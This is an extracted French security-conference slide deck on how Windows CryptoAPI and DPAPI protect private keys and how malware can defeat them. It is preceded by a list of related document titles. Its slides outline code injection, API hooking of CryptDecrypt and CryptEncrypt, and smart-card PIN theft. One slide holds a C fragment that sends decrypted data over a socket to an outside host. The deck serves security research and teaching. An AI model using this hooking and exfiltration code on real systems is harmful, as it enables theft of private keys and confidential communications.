Qui veut gagner des clés s privées? Éric DETOISIEN valgasu@rstack.org Aurélien BORDES aurel@rstack.org



Documents pareils
Du 03 au 07 Février 2014 Tunis (Tunisie)

FORMATION SUR «CRYPTOGRAPHIE APPLIQUEE

Intégrer le chiffrement et faciliter son intégration dans votre entreprise!

Livre blanc. Sécuriser les échanges

PUBLIC KEY INFRASTRUCTURE. Rappels PKI PKI des Impôts PKI de la Carte de Professionnel de Santé

TheGreenBow IPsec VPN Client. Guide de Déploiement Options PKI. Site web: Contact:

HASH LOGIC. Web Key Server. Solution de déploiement des certificats à grande échelle. A quoi sert le Web Key Server? A propos de HASHLOGIC

Sommaire Introduction Les bases de la cryptographie Introduction aux concepts d infrastructure à clés publiques Conclusions Références

ScTools Outil de personnalisation de carte

Sécurité WebSphere MQ V 5.3

La sécurité dans les grilles

Certificats (électroniques) : Pourquoi? Comment? CA CNRS-Test et CNRS

Journées MATHRICE "Dijon-Besançon" DIJON mars Projet MySafeKey Authentification par clé USB

Perso. SmartCard. Mail distribution. Annuaire LDAP. SmartCard Distribution OCSP. Codes mobiles ActivX Applet. CRLs

Protocole industriels de sécurité. S. Natkin Décembre 2000

Sécurisation des accès au CRM avec un certificat client générique

Chapitre 7. Sécurité des réseaux. Services, attaques et mécanismes cryptographiques. Hdhili M.H. Cours Administration et sécurité des réseaux

La citadelle électronique séminaire du 14 mars 2002

I.1. Chiffrement I.1.1 Chiffrement symétrique I.1.2 Chiffrement asymétrique I.2 La signature numérique I.2.1 Les fonctions de hachage I.2.

La Technologie Carte à Puce EAP TLS v2.0

Cours 14. Crypto. 2004, Marc-André Léger

Sécurité des réseaux sans fil

Cryptologie. Algorithmes à clé publique. Jean-Marc Robert. Génie logiciel et des TI

Manuel de la sécurité intégrée HP ProtectTools Ordinateurs d entreprise HP modèle dx5150

SSL ET IPSEC. Licence Pro ATC Amel Guetat

Security BOX Enterprise

Services de Confiance numérique en Entreprise Conférence EPITA 27 octobre 2008

Aurélien Bordes. OSSIR 13 juillet 2010

Windows Server 2008 Sécurité ADMINISTRATION ET CONFIGURATION DE LA SECURITE OLIVIER D.

Version 2.2. Version 3.02

Guide de déploiement d'un mécanisme De SmartCardLogon par carte CPS Sur un réseau Microsoft

Certificats X509 & Infrastructure de Gestion de Clés. Claude Gross CNRS/UREC

Analyse des protections et mécanismes de chiffrement fournis par BitLocker

Rapport de certification ANSSI-CSPN-2010/07. KeePass Version 2.10 Portable

Aristote Groupe PIN. Utilisations pratiques de la cryptographie. Frédéric Pailler (CNES) 13 janvier 2009

Les certificats numériques

Recommandations pour la protection des données et le chiffrement

COMMUNIQUER EN CONFIANCE

Richard MONTBEYRE Master 2 Professionnel Droit de l Internet Administration Entreprises. La banque en ligne et le protocole TLS : exemple

Gestion des Clés. Pr Belkhir Abdelkader. 10/04/2013 Pr BELKHIR Abdelkader

VOTRE SOLUTION OPTIMALE D AUTHENTIFICATION

Routeur Chiffrant Navista Version Et le protocole de chiffrement du Réseau Privé Virtuel Navista Tunneling System - NTS Version 3.1.

Cryptographie. Cours 3/8 - Chiffrement asymétrique

Protocoles d authentification

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

EMV, S.E.T et 3D Secure

SÉCURITÉ RÉSEAUX/INTERNET, SYNTHÈSE

Politique de Certification Autorité de Certification Signature Gamme «Signature simple»

Présentation. LogMeIn Rescue. Architecture de LogMeIn Rescue

La prise de conscience de la Cyber Sécurité est en hausse

HSM, Modules de sécurité matériels de SafeNet. Gestion de clés matérielles pour la nouvelle génération d applications PKI

Extraction de données authentifiantes de la mémoire Windows

Signature électronique. Romain Kolb 31/10/2008

Introduction. Littéralement : «Services de gestion des droits liés à l Active Directory» ADRMS Windows Serveur 2008 un nouveau rôle

Solutions IBM Client Security. Logiciel Client Security version 5.3 Guide d installation

Club Utilisateurs 2 ème Réunion, 8 Octobre 2014 International RFID Congress, Marseille. Diffusion Restreinte

LEADER DES SOLUTIONS D AUTHENTIFICATION FORTE

Middleware eid v2.6 pour Windows

Gestion des clés. Génération des clés. Espaces de clés réduits. Mauvais choix de clés. Clefs aléatoires. Phrases mots de passe

1 Présentation de la solution client/serveur Mobilegov Digital DNA ID BOX

Le protocole SSH (Secure Shell)

PASS v2.0 : solution d authentification unique basée sur les composants Shibboleth Service Provider v2.5.1 et Identity Provider v2.3.

SED SELF ENCRYPTING DRIVE Disques durs chiffrant : la solution contre les pertes de données

Sécurisez votre serveur Web Internet Information Services de Microsoft (MS IIS) avec un certificat numérique de thawte thawte thawte thawte thawte

Protocoles cryptographiques

Linux. Sécuriser un réseau. 3 e édition. l Admin. Cahiers. Bernard Boutherin Benoit Delaunay. Collection dirigée par Nat Makarévitch


Gestion des certificats digitaux et méthodes alternatives de chiffrement

DISTANT ACESS. Emna TRABELSI (RT3) Chourouk CHAOUCH (RT3) Rabab AMMAR (RT3) Rania BEN MANSOUR (RT3) Mouafek BOUZIDI (RT3)

Chiffrement du système de fichiers EFS (Encrypting File System)

Devoir Surveillé de Sécurité des Réseaux

Les risques liés à la signature numérique. Pascal Seeger Expert en cybercriminalité

1 L Authentification de A à Z

La sécurité de votre e-business

TP 2 : Chiffrement par blocs

Authentification à deux facteurs Cryptage portable gratuit des lecteurs USB Cryptage du disque dur

«La Sécurité des Transactions et des Echanges Electroniques»

De l authentification au hub d identité. si simplement. Présentation OSSIR du 14fev2012

Le Passeport Biométrique. Benoit LEGER CISSP ISO LD

TUNIS LE : 20, 21, 22 JUIN 2006

7. Le Service de certification déchiffre le document avec sa clé privée de déchiffrement.

Mobilité, quand tout ordinateur peut devenir cheval de Troie

Sécurité des usages du WEB. Pierre DUSART Damien SAUVERON

Serveur mail sécurisé

DNSSEC. Introduction. les extensions de sécurité du DNS. Les dossiers thématiques de l AFNIC. 1 - Organisation et fonctionnement du DNS

L identité numérique. Risques, protection

Manuel des logiciels de transferts de fichiers File Delivery Services

Gestion des Clés Publiques (PKI)

Sécurité & Authentification. Sécurité Authentification utilisateur Authentification applicative

LES IMPACTS SUR VOTRE SYSTEME DE FACTURATION DE LA SIGNATURE ELECTRONIQUE COMME OUTIL DE SECURISATION DE VOS ECHANGES DEMATERIALISES

Politique de Référencement Intersectorielle de Sécurité (PRIS)

EJBCA PKI. Yannick Quenec'hdu Reponsable BU sécurité

Action Spécifique Sécurité du CNRS 15 mai 2002

Gestion des clés cryptographiques

Chapitre 3. Sécurité des Objets

D31: Protocoles Cryptographiques

Transcription:

Qui veut gagner des clés s privées? Éric DETOISIEN valgasu@rstack.org Aurélien BORDES aurel@rstack.org Journée e de la SécuritS curité des Systèmes d Information d 2006

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

Introduction En sécurité, les services d authentification, d intégrité et de confidentialité sont fondamentaux Utilisation de certificats numériques dans les opérations de signature numérique (intégrité/authentification) et de chiffrement/déchiffrement Des solutions de type «PKI» (Public Key Infrastructure) sont de plus en plus déployées

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

Quelles clés s? RSA est un algorithme asymétrique manipulant une paire de clés (ou bi-clé) : une clé publique pour les opérations de vérification et de chiffrement une clé privée pour les opérations de signature et de déchiffrement

Chiffrement / déchiffrementd Clé publique Clé privée Données en clair Données chiffrées chiffrement déchifrement Données en clair

Signature / vérificationv Clé privée Clé publique Données Données Signature signature vérification Données valides? OUI / NON

2 clés s / 2 rôles La clé publique doit être largement distribuée (via les certificats X509) La clé privée doit être gardée secrète par son propriétaire sous une forme protégée (par une solution matériel ou par un logiciel)

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

CryptoAPI La CryptoAPI est une bibliothèque de fonctions cryptographiques disponible sous Windows Elle offre des fonctions de : Chiffrement et déchiffrement de données Signature et vérification de données Gestion des certificats numériques X509 Protection de secrets (clés privées, )

CSP La CryptoAPI est juste un «cadre d appel» Les fonctions cryptographiques sont implémentées dans des modules appelés CSP (Cryptographic Service Provider) Les CSP prennent en charge la protection des clés privées

CryptoAPI / CSP Application CryptoAPI CSP CSP CSP

Types CSP Types de CSP : PROV_RSA_FULL PROV_RSA_AES PROV_RSA_SCHANNEL PROV_DH_SCHANNEL

CSP fournis par Microsoft PROV_RSA_FULL Microsoft Base Cryptographic Provider Microsoft Enhanced/Strong Cryptographic Provider PROV_RSA_AES Microsoft AES Cryptographic Provider PROV_RSA_SCHANNEL Microsoft RSA/Schannel Cryptographic Provider PROV_DH_SCHANNEL Microsoft DSS and Diffie-Hellman/Schannel Cryptographic Provider DEMO : CryptoAPI / PrivateAnalyse

DPAPI Data Protection Application Programming Interface Librairie fournissant un mécanisme de protection de données pour le système ou les applications Protection basé sur du chiffrement symétrique (3DES) Idée : les clés de chiffrement ne sont jamais stockées, mais sont reconstruites à chaque opération de chiffrement/déchiffrement

DPAPI Génération d un secret fort (master key) chiffré avec le mot de passe de l utilisateur (PKCS#5: PBKDF2, 3DES and SHA-1? ) Stocké dans le profile de l utilisateur : c:\documents and Settings\<username>\Application Data\Microsoft\Protect\<sid user>\

DPAPI Protégé avec le mot de passe de l utilisateur Optionnel : mot de passe utilisateur Saisie lors des opérations de Protections et de déprotection Master Key «données diverses» Entropie applicative Entropie utilisateur Session key generated DPAPI Blob GUID Master key «Données diverses» Clair Chiffré (protégé)

DPAPI Niveau de protection de DPAPI Bas : les opérations de protection/déprotection sont transparentes (paramètre CRYPTPROTECT_PROMPTSTRUCT non spécifié) Moyen : confirmation demandée à l utilisateur lors des opérations de protection/déprotection Haut : idem Moyen + mot de passe spécifié par l utilisateur, demandé lors des opérations de protection/déprotection

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

Protection logicielle des clés s privées Les CSP Microsoft utilisent DPAPI pour protéger les clés privées On retrouve donc les 3 niveaux de protection : bas, moyen, haut Les clés privées d un utilisateur protégées avec DPAPI sont stockées dans son profil : C:\Documents and Settings\<username>\Application Data\Microsoft\Crypto\RSA\<sid user>\ Dans le cas de clés de la machine : C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys\

Protection logicielle des clés s privées Un code malveillant peut lire les fichiers contenant les clés privées protégées puis utiliser les fonctions DPAPI pour enlever la protection Totalement transparent pour l utilisateur si le niveau de protection DPAPI des clés est bas

Suppression des clés Attention : lors de la suppression d un certificat associé à une clé privée, cette dernière n est pas supprimée (reste sur le disque la clé sous sa forme protégée par DPAPI) DEMO : Certif

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

Injection de code et API Hooking Le système Windows offre des fonctions permettant l injection de code dans des processus : OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread Un code malveillant (trojan) peut ainsi être injecté dans des processus et «hooker» des appels de fonctions intéressantes

Exemple : Injection dans un processus OUTLOOK Code : Appel Fonction1 dans Lib1 OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread Lib1 (.dll) Fonction1 Code et données injectés

Injection de code et API Hooking L API Hooking consiste détourner un appel d une fonction dans un processus en réalisant les opérations suivantes : Injection d un code malveillant dans le processus Sauvegarde des premières instructions de l API légitime Mise à jour du début du code de la fonction légitime pour substituer un saut (JMP) vers le code malveillant

Exemple : appel normal OUTLOOK Code : Appel Fonction1 dans Lib1 Lib1 (.dll) Fonction1

Exemple : API hooking OUTLOOK Code : Appel Fonction1 dans Lib1 Lib1 (.dll) SAUT Début vers codé Fonction injecté Fonction1 Code injecté

Fonction à regarder Fonctions intéressantes à hooker RtlDecryptMemory (SystemFunction041) CertSerializeCertificateStoreElement DEMO : SSLurp

Pas de clé,, mais Il peut être impossible de récupérer la clé privée (via une protection matérielle efficace) Il est alors plus aisé de récupérer les données en clair Toutes les fonctions de déchiffrement utilisent la fonction CryptDecrypt Si c est fonction est hookée, on récupère tout les flux déchiffrés

CryptDecrypt BOOL WINAPI CryptDecrypt( ); HCRYPTKEY hkey, HCRYPTHASH hhash, BOOL Final, DWORD dwflags, BYTE* pbdata, DWORD* pdwdatalen Données en clair après l opération de déchiffrement

CryptEncrypt BOOL WINAPI CryptEncrypt( HCRYPTKEY hkey, HCRYPTHASH hhash, ); BOOL Final, DWORD dwflags, BYTE* pbdata, DWORD* pdwdatalen, DWORD dwbuflen Données en clair avant l opération de chiffrement

Exemple : hooking d Outlookd OUTLOOK Déchiffrement : SSL/TLS S/MIME CryptoAPI HOOK CryptDecrypt SOCKET s; sockaddr_in sa_in; s = socket(af_inet, SOCK_STREAM, IPPROTO_TCP); sa_in.sin_family = AF_INET; sa_in.sin_addr.s_addr =inet_addr("192.168.0.1"); sa_in.sin_port = htons(25); connect(s, (SOCKADDR*) & sa_in, sa_in); CSP send(s, (char *)pbdata, (int)*pdwdatalen, 0); closesocket(s);

Exemple : sniffer SSL pour IE Les flux d une connexion sécurisée en SSL ne peuvent pas être sniffés sur le réseau Le Man in the Middle SSL ne fonctionne pas avec une authentification client utilisant une carte à puce pour protéger la clé prive Il reste donc à hooker CryptDecrypt et CryptEncrypt DEMO : IESniff

Autres suggestions Vol de la clé privée lors de sa transmission vers le support physique par hooking d API PKCS#11 Récupération du code PIN des cartes à puce et autres clés USB Sniffer USB (rootkit USB) Hooking de SCardTransmit Vol de la «session» ouverte sur le token ou la carte toujours par hooking

Sommaire 1. Introduction 2. Quelles clés? 3. CryptoAPI / DPAPI 4. Protection logicielle des clés privées 5. Injection de code et API Hooking 6. Conclusion

Conclusion La protection logicielle offerte par Windows est limitée Les protections matérielles de types cartes à puce sont meilleurs, mais présentent d autres vulnérabilités Une carte à puce avec un pinpad reste une bonne solution mais attention aux codes malveillants